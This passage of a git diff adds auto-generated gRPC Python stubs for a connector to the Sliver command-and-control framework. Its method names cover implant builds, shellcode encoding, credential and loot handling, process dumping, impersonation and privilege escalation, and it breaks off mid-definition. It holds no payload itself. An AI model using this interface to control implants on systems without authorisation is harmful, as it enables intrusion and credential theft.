3RegistryListSubKeys\x12\x1f.sliverpb.RegistrySubKeyListReq\x1a\x1c.sliverpb.RegistrySubKeyList\x12S\n\x12RegistryListValues\x12\x1f.sliverpb.RegistryListValuesReq\x1a\x1c.sliverpb.RegistryValuesList\x12>\n\rRunSSHCommand\x12\x17.sliverpb.SSHCommandReq\x1a\x14.sliverpb.SSHCommand\x12\x38\n\tHijackDLL\x12\x16.clientpb.DllHijackReq\x1a\x13.clientpb.DllHijack\x12\x35\n\x08GetPrivs\x12\x15.sliverpb.GetPrivsReq\x1a\x12.sliverpb.GetPrivs\x12W\n\x15StartRportFwdListener\x12\".sliverpb.RportFwdStartListenerReq\x1a\x1a.sliverpb.RportFwdListener\x12S\n\x14GetRportFwdListeners\x12\x1e.sliverpb.RportFwdListenersReq\x1a\x1b.sliverpb.RportFwdListeners\x12U\n\x14StopRportFwdListener\x12!.sliverpb.RportFwdStopListenerReq\x1a\x1a.sliverpb.RportFwdListener\x12;\n\x0bOpenSession\x12\x15.sliverpb.OpenSession\x1a\x15.sliverpb.OpenSession\x12\x37\n\x0c\x43loseSession\x12\x16.sliverpb.CloseSession\x1a\x0f.commonpb.Empty\x12P\n\x11RegisterExtension\x12\x1e.sliverpb.RegisterExtensionReq\x1a\x1b.sliverpb.RegisterExtension\x12\x44\n\rCallExtension\x12\x1a.sliverpb.CallExtensionReq\x1a\x17.sliverpb.CallExtension\x12G\n\x0eListExtensions\x12\x1b.sliverpb.ListExtensionsReq\x1a\x18.sliverpb.ListExtensions\x12\\\n\x15RegisterWasmExtension\x12\".sliverpb.RegisterWasmExtensionReq\x1a\x1f.sliverpb.RegisterWasmExtension\x12S\n\x12ListWasmExtensions\x12\x1f.sliverpb.ListWasmExtensionsReq\x1a\x1c.sliverpb.ListWasmExtensions\x12P\n\x11\x45xecWasmExtension\x12\x1e.sliverpb.ExecWasmExtensionReq\x1a\x1b.sliverpb.ExecWasmExtension\x12N\n\x12WGStartPortForward\x12\x1f.sliverpb.WGPortForwardStartReq\x1a\x17.sliverpb.WGPortForward\x12L\n\x11WGStopPortForward\x12\x1e.sliverpb.WGPortForwardStopReq\x1a\x17.sliverpb.WGPortForward\x12<\n\x0cWGStartSocks\x12\x19.sliverpb.WGSocksStartReq\x1a\x11.sliverpb.WGSocks\x12:\n\x0bWGStopSocks\x12\x18.sliverpb.WGSocksStopReq\x1a\x11.sliverpb.WGSocks\x12K\n\x10WGListForwarders\x12\x1c.sliverpb.WGTCPForwardersReq\x1a\x19.sliverpb.WGTCPForwarders\x12K\n\x12WGListSocksServers\x12\x1b.sliverpb.WGSocksServersReq\x1a\x18.sliverpb.WGSocksServers\x12,\n\x05Shell\x12\x12.sliverpb.ShellReq\x1a\x0f.sliverpb.Shell\x12\x32\n\x07Portfwd\x12\x14.sliverpb.PortfwdReq\x1a\x11.sliverpb.Portfwd\x12/\n\x0b\x43reateSocks\x12\x0f.sliverpb.Socks\x1a\x0f.sliverpb.Socks\x12.\n\nCloseSocks\x12\x0f.sliverpb.Socks\x1a\x0f.commonpb.Empty\x12:\n\nSocksProxy\x12\x13.sliverpb.SocksData\x1a\x13.sliverpb.SocksData(\x01\x30\x01\x12\x32\n\x0c\x43reateTunnel\x12\x10.sliverpb.Tunnel\x1a\x10.sliverpb.Tunnel\x12\x30\n\x0b\x43loseTunnel\x12\x10.sliverpb.Tunnel\x1a\x0f.commonpb.Empty\x12<\n\nTunnelData\x12\x14.sliverpb.TunnelData\x1a\x14.sliverpb.TunnelData(\x01\x30\x01\x12,\n\x06\x45vents\x12\x0f.commonpb.Empty\x1a\x0f.clientpb.Event0\x01\x42,Z*github.com/bishopfox/sliver/protobuf/rpcpbb\x06proto3') + +_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals()) +_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'rpcpb.services_pb2', globals()) +if _descriptor._USE_C_DESCRIPTORS == False: + + DESCRIPTOR._options = None + DESCRIPTOR._serialized_options = b'Z*github.com/bishopfox/sliver/protobuf/rpcpb' + _SLIVERRPC._serialized_start=101 + _SLIVERRPC._serialized_end=10090 +# @@protoc_insertion_point(module_scope) diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/rpcpb/services_pb2_grpc.py b/cmd/connectors/sliver-connector/sliver_service/pb/rpcpb/services_pb2_grpc.py new file mode 100644 index 0000000..4154eea --- /dev/null +++ b/cmd/connectors/sliver-connector/sliver_service/pb/rpcpb/services_pb2_grpc.py @@ -0,0 +1,5508 @@ +# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! +"""Client and server classes corresponding to protobuf-defined services.""" +import grpc + +from sliver_service.pb.clientpb import client_pb2 as clientpb_dot_client__pb2 +from sliver_service.pb.commonpb import common_pb2 as commonpb_dot_common__pb2 +from sliver_service.pb.sliverpb import sliver_pb2 as sliverpb_dot_sliver__pb2 + + +class SliverRPCStub(object): + """Missing associated documentation comment in .proto file.""" + + def __init__(self, channel): + """Constructor. + + Args: + channel: A grpc.Channel. + """ + self.GetVersion = channel.unary_unary( + '/rpcpb.SliverRPC/GetVersion', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Version.FromString, + ) + self.ClientConsoleLog = channel.stream_unary( + '/rpcpb.SliverRPC/ClientConsoleLog', + request_serializer=clientpb_dot_client__pb2.ClientConsoleLogData.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.GetOperators = channel.unary_unary( + '/rpcpb.SliverRPC/GetOperators', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Operators.FromString, + ) + self.Kill = channel.unary_unary( + '/rpcpb.SliverRPC/Kill', + request_serializer=sliverpb_dot_sliver__pb2.KillReq.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.Reconfigure = channel.unary_unary( + '/rpcpb.SliverRPC/Reconfigure', + request_serializer=sliverpb_dot_sliver__pb2.ReconfigureReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Reconfigure.FromString, + ) + self.Rename = channel.unary_unary( + '/rpcpb.SliverRPC/Rename', + request_serializer=clientpb_dot_client__pb2.RenameReq.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.GetSessions = channel.unary_unary( + '/rpcpb.SliverRPC/GetSessions', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Sessions.FromString, + ) + self.GetBeacons = channel.unary_unary( + '/rpcpb.SliverRPC/GetBeacons', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Beacons.FromString, + ) + self.GetBeacon = channel.unary_unary( + '/rpcpb.SliverRPC/GetBeacon', + request_serializer=clientpb_dot_client__pb2.Beacon.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Beacon.FromString, + ) + self.RmBeacon = channel.unary_unary( + '/rpcpb.SliverRPC/RmBeacon', + request_serializer=clientpb_dot_client__pb2.Beacon.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.GetBeaconTasks = channel.unary_unary( + '/rpcpb.SliverRPC/GetBeaconTasks', + request_serializer=clientpb_dot_client__pb2.Beacon.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.BeaconTasks.FromString, + ) + self.GetBeaconTaskContent = channel.unary_unary( + '/rpcpb.SliverRPC/GetBeaconTaskContent', + request_serializer=clientpb_dot_client__pb2.BeaconTask.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.BeaconTask.FromString, + ) + self.CancelBeaconTask = channel.unary_unary( + '/rpcpb.SliverRPC/CancelBeaconTask', + request_serializer=clientpb_dot_client__pb2.BeaconTask.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.BeaconTask.FromString, + ) + self.MonitorStart = channel.unary_unary( + '/rpcpb.SliverRPC/MonitorStart', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Response.FromString, + ) + self.MonitorStop = channel.unary_unary( + '/rpcpb.SliverRPC/MonitorStop', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.GetJobs = channel.unary_unary( + '/rpcpb.SliverRPC/GetJobs', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Jobs.FromString, + ) + self.KillJob = channel.unary_unary( + '/rpcpb.SliverRPC/KillJob', + request_serializer=clientpb_dot_client__pb2.KillJobReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.KillJob.FromString, + ) + self.StartMTLSListener = channel.unary_unary( + '/rpcpb.SliverRPC/StartMTLSListener', + request_serializer=clientpb_dot_client__pb2.MTLSListenerReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.MTLSListener.FromString, + ) + self.StartWGListener = channel.unary_unary( + '/rpcpb.SliverRPC/StartWGListener', + request_serializer=clientpb_dot_client__pb2.WGListenerReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.WGListener.FromString, + ) + self.StartDNSListener = channel.unary_unary( + '/rpcpb.SliverRPC/StartDNSListener', + request_serializer=clientpb_dot_client__pb2.DNSListenerReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.DNSListener.FromString, + ) + self.StartHTTPSListener = channel.unary_unary( + '/rpcpb.SliverRPC/StartHTTPSListener', + request_serializer=clientpb_dot_client__pb2.HTTPListenerReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.HTTPListener.FromString, + ) + self.StartHTTPListener = channel.unary_unary( + '/rpcpb.SliverRPC/StartHTTPListener', + request_serializer=clientpb_dot_client__pb2.HTTPListenerReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.HTTPListener.FromString, + ) + self.StartTCPStagerListener = channel.unary_unary( + '/rpcpb.SliverRPC/StartTCPStagerListener', + request_serializer=clientpb_dot_client__pb2.StagerListenerReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.StagerListener.FromString, + ) + self.StartHTTPStagerListener = channel.unary_unary( + '/rpcpb.SliverRPC/StartHTTPStagerListener', + request_serializer=clientpb_dot_client__pb2.StagerListenerReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.StagerListener.FromString, + ) + self.LootAdd = channel.unary_unary( + '/rpcpb.SliverRPC/LootAdd', + request_serializer=clientpb_dot_client__pb2.Loot.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Loot.FromString, + ) + self.LootRm = channel.unary_unary( + '/rpcpb.SliverRPC/LootRm', + request_serializer=clientpb_dot_client__pb2.Loot.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.LootUpdate = channel.unary_unary( + '/rpcpb.SliverRPC/LootUpdate', + request_serializer=clientpb_dot_client__pb2.Loot.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Loot.FromString, + ) + self.LootContent = channel.unary_unary( + '/rpcpb.SliverRPC/LootContent', + request_serializer=clientpb_dot_client__pb2.Loot.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Loot.FromString, + ) + self.LootAll = channel.unary_unary( + '/rpcpb.SliverRPC/LootAll', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.AllLoot.FromString, + ) + self.Creds = channel.unary_unary( + '/rpcpb.SliverRPC/Creds', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Credentials.FromString, + ) + self.CredsAdd = channel.unary_unary( + '/rpcpb.SliverRPC/CredsAdd', + request_serializer=clientpb_dot_client__pb2.Credentials.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.CredsRm = channel.unary_unary( + '/rpcpb.SliverRPC/CredsRm', + request_serializer=clientpb_dot_client__pb2.Credentials.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.CredsUpdate = channel.unary_unary( + '/rpcpb.SliverRPC/CredsUpdate', + request_serializer=clientpb_dot_client__pb2.Credentials.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.GetCredByID = channel.unary_unary( + '/rpcpb.SliverRPC/GetCredByID', + request_serializer=clientpb_dot_client__pb2.Credential.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Credential.FromString, + ) + self.GetCredsByHashType = channel.unary_unary( + '/rpcpb.SliverRPC/GetCredsByHashType', + request_serializer=clientpb_dot_client__pb2.Credential.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Credentials.FromString, + ) + self.GetPlaintextCredsByHashType = channel.unary_unary( + '/rpcpb.SliverRPC/GetPlaintextCredsByHashType', + request_serializer=clientpb_dot_client__pb2.Credential.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Credentials.FromString, + ) + self.CredsSniffHashType = channel.unary_unary( + '/rpcpb.SliverRPC/CredsSniffHashType', + request_serializer=clientpb_dot_client__pb2.Credential.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Credential.FromString, + ) + self.Hosts = channel.unary_unary( + '/rpcpb.SliverRPC/Hosts', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.AllHosts.FromString, + ) + self.Host = channel.unary_unary( + '/rpcpb.SliverRPC/Host', + request_serializer=clientpb_dot_client__pb2.Host.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Host.FromString, + ) + self.HostRm = channel.unary_unary( + '/rpcpb.SliverRPC/HostRm', + request_serializer=clientpb_dot_client__pb2.Host.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.HostIOCRm = channel.unary_unary( + '/rpcpb.SliverRPC/HostIOCRm', + request_serializer=clientpb_dot_client__pb2.IOC.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.Generate = channel.unary_unary( + '/rpcpb.SliverRPC/Generate', + request_serializer=clientpb_dot_client__pb2.GenerateReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Generate.FromString, + ) + self.GenerateExternal = channel.unary_unary( + '/rpcpb.SliverRPC/GenerateExternal', + request_serializer=clientpb_dot_client__pb2.ExternalGenerateReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.ExternalImplantConfig.FromString, + ) + self.GenerateExternalSaveBuild = channel.unary_unary( + '/rpcpb.SliverRPC/GenerateExternalSaveBuild', + request_serializer=clientpb_dot_client__pb2.ExternalImplantBinary.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.GenerateExternalGetImplantConfig = channel.unary_unary( + '/rpcpb.SliverRPC/GenerateExternalGetImplantConfig', + request_serializer=clientpb_dot_client__pb2.ImplantConfig.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.ExternalImplantConfig.FromString, + ) + self.BuilderRegister = channel.unary_stream( + '/rpcpb.SliverRPC/BuilderRegister', + request_serializer=clientpb_dot_client__pb2.Builder.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Event.FromString, + ) + self.BuilderTrigger = channel.unary_unary( + '/rpcpb.SliverRPC/BuilderTrigger', + request_serializer=clientpb_dot_client__pb2.Event.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.Builders = channel.unary_unary( + '/rpcpb.SliverRPC/Builders', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Builders.FromString, + ) + self.CrackstationRegister = channel.unary_stream( + '/rpcpb.SliverRPC/CrackstationRegister', + request_serializer=clientpb_dot_client__pb2.Crackstation.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Event.FromString, + ) + self.CrackstationTrigger = channel.unary_unary( + '/rpcpb.SliverRPC/CrackstationTrigger', + request_serializer=clientpb_dot_client__pb2.Event.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.CrackstationBenchmark = channel.unary_unary( + '/rpcpb.SliverRPC/CrackstationBenchmark', + request_serializer=clientpb_dot_client__pb2.CrackBenchmark.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.Crackstations = channel.unary_unary( + '/rpcpb.SliverRPC/Crackstations', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Crackstations.FromString, + ) + self.CrackTaskByID = channel.unary_unary( + '/rpcpb.SliverRPC/CrackTaskByID', + request_serializer=clientpb_dot_client__pb2.CrackTask.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.CrackTask.FromString, + ) + self.CrackTaskUpdate = channel.unary_unary( + '/rpcpb.SliverRPC/CrackTaskUpdate', + request_serializer=clientpb_dot_client__pb2.CrackTask.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.CrackFilesList = channel.unary_unary( + '/rpcpb.SliverRPC/CrackFilesList', + request_serializer=clientpb_dot_client__pb2.CrackFile.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.CrackFiles.FromString, + ) + self.CrackFileCreate = channel.unary_unary( + '/rpcpb.SliverRPC/CrackFileCreate', + request_serializer=clientpb_dot_client__pb2.CrackFile.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.CrackFile.FromString, + ) + self.CrackFileChunkUpload = channel.unary_unary( + '/rpcpb.SliverRPC/CrackFileChunkUpload', + request_serializer=clientpb_dot_client__pb2.CrackFileChunk.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.CrackFileChunkDownload = channel.unary_unary( + '/rpcpb.SliverRPC/CrackFileChunkDownload', + request_serializer=clientpb_dot_client__pb2.CrackFileChunk.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.CrackFileChunk.FromString, + ) + self.CrackFileComplete = channel.unary_unary( + '/rpcpb.SliverRPC/CrackFileComplete', + request_serializer=clientpb_dot_client__pb2.CrackFile.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.CrackFileDelete = channel.unary_unary( + '/rpcpb.SliverRPC/CrackFileDelete', + request_serializer=clientpb_dot_client__pb2.CrackFile.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.Regenerate = channel.unary_unary( + '/rpcpb.SliverRPC/Regenerate', + request_serializer=clientpb_dot_client__pb2.RegenerateReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Generate.FromString, + ) + self.ImplantBuilds = channel.unary_unary( + '/rpcpb.SliverRPC/ImplantBuilds', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.ImplantBuilds.FromString, + ) + self.DeleteImplantBuild = channel.unary_unary( + '/rpcpb.SliverRPC/DeleteImplantBuild', + request_serializer=clientpb_dot_client__pb2.DeleteReq.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.Canaries = channel.unary_unary( + '/rpcpb.SliverRPC/Canaries', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Canaries.FromString, + ) + self.GenerateWGClientConfig = channel.unary_unary( + '/rpcpb.SliverRPC/GenerateWGClientConfig', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.WGClientConfig.FromString, + ) + self.GenerateUniqueIP = channel.unary_unary( + '/rpcpb.SliverRPC/GenerateUniqueIP', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.UniqueWGIP.FromString, + ) + self.ImplantProfiles = channel.unary_unary( + '/rpcpb.SliverRPC/ImplantProfiles', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.ImplantProfiles.FromString, + ) + self.DeleteImplantProfile = channel.unary_unary( + '/rpcpb.SliverRPC/DeleteImplantProfile', + request_serializer=clientpb_dot_client__pb2.DeleteReq.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.SaveImplantProfile = channel.unary_unary( + '/rpcpb.SliverRPC/SaveImplantProfile', + request_serializer=clientpb_dot_client__pb2.ImplantProfile.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.ImplantProfile.FromString, + ) + self.MsfStage = channel.unary_unary( + '/rpcpb.SliverRPC/MsfStage', + request_serializer=clientpb_dot_client__pb2.MsfStagerReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.MsfStager.FromString, + ) + self.ShellcodeRDI = channel.unary_unary( + '/rpcpb.SliverRPC/ShellcodeRDI', + request_serializer=clientpb_dot_client__pb2.ShellcodeRDIReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.ShellcodeRDI.FromString, + ) + self.GetCompiler = channel.unary_unary( + '/rpcpb.SliverRPC/GetCompiler', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Compiler.FromString, + ) + self.ShellcodeEncoder = channel.unary_unary( + '/rpcpb.SliverRPC/ShellcodeEncoder', + request_serializer=clientpb_dot_client__pb2.ShellcodeEncodeReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.ShellcodeEncode.FromString, + ) + self.ShellcodeEncoderMap = channel.unary_unary( + '/rpcpb.SliverRPC/ShellcodeEncoderMap', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.ShellcodeEncoderMap.FromString, + ) + self.TrafficEncoderMap = channel.unary_unary( + '/rpcpb.SliverRPC/TrafficEncoderMap', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.TrafficEncoderMap.FromString, + ) + self.TrafficEncoderAdd = channel.unary_unary( + '/rpcpb.SliverRPC/TrafficEncoderAdd', + request_serializer=clientpb_dot_client__pb2.TrafficEncoder.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.TrafficEncoderTests.FromString, + ) + self.TrafficEncoderRm = channel.unary_unary( + '/rpcpb.SliverRPC/TrafficEncoderRm', + request_serializer=clientpb_dot_client__pb2.TrafficEncoder.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.Websites = channel.unary_unary( + '/rpcpb.SliverRPC/Websites', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Websites.FromString, + ) + self.Website = channel.unary_unary( + '/rpcpb.SliverRPC/Website', + request_serializer=clientpb_dot_client__pb2.Website.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Website.FromString, + ) + self.WebsiteRemove = channel.unary_unary( + '/rpcpb.SliverRPC/WebsiteRemove', + request_serializer=clientpb_dot_client__pb2.Website.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.WebsiteAddContent = channel.unary_unary( + '/rpcpb.SliverRPC/WebsiteAddContent', + request_serializer=clientpb_dot_client__pb2.WebsiteAddContent.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Website.FromString, + ) + self.WebsiteUpdateContent = channel.unary_unary( + '/rpcpb.SliverRPC/WebsiteUpdateContent', + request_serializer=clientpb_dot_client__pb2.WebsiteAddContent.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Website.FromString, + ) + self.WebsiteRemoveContent = channel.unary_unary( + '/rpcpb.SliverRPC/WebsiteRemoveContent', + request_serializer=clientpb_dot_client__pb2.WebsiteRemoveContent.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Website.FromString, + ) + self.Ping = channel.unary_unary( + '/rpcpb.SliverRPC/Ping', + request_serializer=sliverpb_dot_sliver__pb2.Ping.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Ping.FromString, + ) + self.Ps = channel.unary_unary( + '/rpcpb.SliverRPC/Ps', + request_serializer=sliverpb_dot_sliver__pb2.PsReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Ps.FromString, + ) + self.Terminate = channel.unary_unary( + '/rpcpb.SliverRPC/Terminate', + request_serializer=sliverpb_dot_sliver__pb2.TerminateReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Terminate.FromString, + ) + self.Ifconfig = channel.unary_unary( + '/rpcpb.SliverRPC/Ifconfig', + request_serializer=sliverpb_dot_sliver__pb2.IfconfigReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Ifconfig.FromString, + ) + self.Netstat = channel.unary_unary( + '/rpcpb.SliverRPC/Netstat', + request_serializer=sliverpb_dot_sliver__pb2.NetstatReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Netstat.FromString, + ) + self.Ls = channel.unary_unary( + '/rpcpb.SliverRPC/Ls', + request_serializer=sliverpb_dot_sliver__pb2.LsReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Ls.FromString, + ) + self.Cd = channel.unary_unary( + '/rpcpb.SliverRPC/Cd', + request_serializer=sliverpb_dot_sliver__pb2.CdReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Pwd.FromString, + ) + self.Pwd = channel.unary_unary( + '/rpcpb.SliverRPC/Pwd', + request_serializer=sliverpb_dot_sliver__pb2.PwdReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Pwd.FromString, + ) + self.Mv = channel.unary_unary( + '/rpcpb.SliverRPC/Mv', + request_serializer=sliverpb_dot_sliver__pb2.MvReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Mv.FromString, + ) + self.Rm = channel.unary_unary( + '/rpcpb.SliverRPC/Rm', + request_serializer=sliverpb_dot_sliver__pb2.RmReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Rm.FromString, + ) + self.Mkdir = channel.unary_unary( + '/rpcpb.SliverRPC/Mkdir', + request_serializer=sliverpb_dot_sliver__pb2.MkdirReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Mkdir.FromString, + ) + self.Download = channel.unary_unary( + '/rpcpb.SliverRPC/Download', + request_serializer=sliverpb_dot_sliver__pb2.DownloadReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Download.FromString, + ) + self.Upload = channel.unary_unary( + '/rpcpb.SliverRPC/Upload', + request_serializer=sliverpb_dot_sliver__pb2.UploadReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Upload.FromString, + ) + self.Chmod = channel.unary_unary( + '/rpcpb.SliverRPC/Chmod', + request_serializer=sliverpb_dot_sliver__pb2.ChmodReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Chmod.FromString, + ) + self.Chown = channel.unary_unary( + '/rpcpb.SliverRPC/Chown', + request_serializer=sliverpb_dot_sliver__pb2.ChownReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Chown.FromString, + ) + self.Chtimes = channel.unary_unary( + '/rpcpb.SliverRPC/Chtimes', + request_serializer=sliverpb_dot_sliver__pb2.ChtimesReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Chtimes.FromString, + ) + self.MemfilesList = channel.unary_unary( + '/rpcpb.SliverRPC/MemfilesList', + request_serializer=sliverpb_dot_sliver__pb2.MemfilesListReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Ls.FromString, + ) + self.MemfilesAdd = channel.unary_unary( + '/rpcpb.SliverRPC/MemfilesAdd', + request_serializer=sliverpb_dot_sliver__pb2.MemfilesAddReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.MemfilesAdd.FromString, + ) + self.MemfilesRm = channel.unary_unary( + '/rpcpb.SliverRPC/MemfilesRm', + request_serializer=sliverpb_dot_sliver__pb2.MemfilesRmReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.MemfilesRm.FromString, + ) + self.ProcessDump = channel.unary_unary( + '/rpcpb.SliverRPC/ProcessDump', + request_serializer=sliverpb_dot_sliver__pb2.ProcessDumpReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.ProcessDump.FromString, + ) + self.RunAs = channel.unary_unary( + '/rpcpb.SliverRPC/RunAs', + request_serializer=sliverpb_dot_sliver__pb2.RunAsReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.RunAs.FromString, + ) + self.Impersonate = channel.unary_unary( + '/rpcpb.SliverRPC/Impersonate', + request_serializer=sliverpb_dot_sliver__pb2.ImpersonateReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Impersonate.FromString, + ) + self.RevToSelf = channel.unary_unary( + '/rpcpb.SliverRPC/RevToSelf', + request_serializer=sliverpb_dot_sliver__pb2.RevToSelfReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.RevToSelf.FromString, + ) + self.GetSystem = channel.unary_unary( + '/rpcpb.SliverRPC/GetSystem', + request_serializer=clientpb_dot_client__pb2.GetSystemReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.GetSystem.FromString, + ) + self.Task = channel.unary_unary( + '/rpcpb.SliverRPC/Task', + request_serializer=sliverpb_dot_sliver__pb2.TaskReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Task.FromString, + ) + self.Msf = channel.unary_unary( + '/rpcpb.SliverRPC/Msf', + request_serializer=clientpb_dot_client__pb2.MSFReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Task.FromString, + ) + self.MsfRemote = channel.unary_unary( + '/rpcpb.SliverRPC/MsfRemote', + request_serializer=clientpb_dot_client__pb2.MSFRemoteReq.SerializeToString, + 